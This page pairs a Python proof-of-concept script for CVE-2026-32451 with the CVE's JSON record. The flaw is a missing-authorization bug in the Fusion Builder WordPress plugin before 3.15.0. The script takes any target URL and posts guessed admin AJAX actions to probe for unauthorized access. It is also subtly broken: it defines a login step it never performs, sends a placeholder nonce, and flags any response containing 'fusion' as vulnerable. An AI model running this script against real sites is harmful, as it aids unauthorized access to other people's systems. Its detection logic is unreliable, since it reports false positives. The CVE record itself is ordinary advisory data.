CVE-2026-32451

import requests import sys # CVE-2026-32451 PoC - Fusion Builder Access Control Bypass # Target: WordPress site with Fusion Builder plugin < 3.15.0 def check_vulnerability(target_url): """ Check if the target is vulnerable to CVE-2026-32451 This PoC attempts to access admin-level Fusion Builder functions with a low-privilege user account """ # Setup session with low-privilege user credentials session = requests.Session() # WordPress login endpoint login_url = f"{target_url}/wp-login.php" # Fusion Builder admin AJAX endpoint (vulnerable) admin_ajax_url = f"{target_url}/wp-admin/admin-ajax.php" # Try to access Fusion Builder admin functions # without proper authorization check exploit_payloads = [ { 'action': 'fusion_builder_api', 'fusion_action': 'get_admin_config', 'nonce': 'fake_nonce_for_testing' }, { 'action': 'fusion_load_module', 'module': 'fusion_templates', 'get': 'all' } ] print(f"[*] Testing target: {target_url}") print(f"[*] CVE-2026-32451 - Fusion Builder Access Control Bypass") for payload in exploit_payloads: try: response = session.post(admin_ajax_url, data=payload, timeout=10) # Check if we get admin-level response without proper auth if response.status_code == 200: if 'fusion' in response.text.lower() or 'builder' in response.text.lower(): print(f"[!] Potential vulnerability detected!") print(f"[!] Response contains Fusion Builder data") return True except requests.RequestException as e: print(f"[-] Request failed: {e}") print(f"[*] Test completed") return False if __name__ == "__main__": if len(sys.argv) > 1: target = sys.argv[1] check_vulnerability(target) else: print("Usage: python cve-2026-32451.py <target_url>") print("Example: python cve-2026-32451.py http://example.com")

{"cve": {"id": "CVE-2026-32451", "sourceIdentifier": "[email protected]", "published": "2026-03-13T19:55:06.340", "lastModified": "2026-04-29T10:17:11.893", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Missing Authorization vulnerability in ThemeFusion Fusion Builder fusion-builder allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Fusion Builder: from n/a through < 3.15.0."}, {"lang": "es", "value": "Vulnerabilidad de autorización faltante en ThemeFusion Fusion Builder fusion-builder permite la explotación de niveles de seguridad de control de acceso configurados incorrectamente. Este problema afecta a Fusion Builder: desde n/a hasta &lt; 3.15.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L", "baseScore": 6.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 3.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/fusion-builder/vulnerability/wordpress-fusion-builder-plugin-3-15-0-broken-access-control-vulnerability?_s_id=cve", "source": "[email protected]"}]}}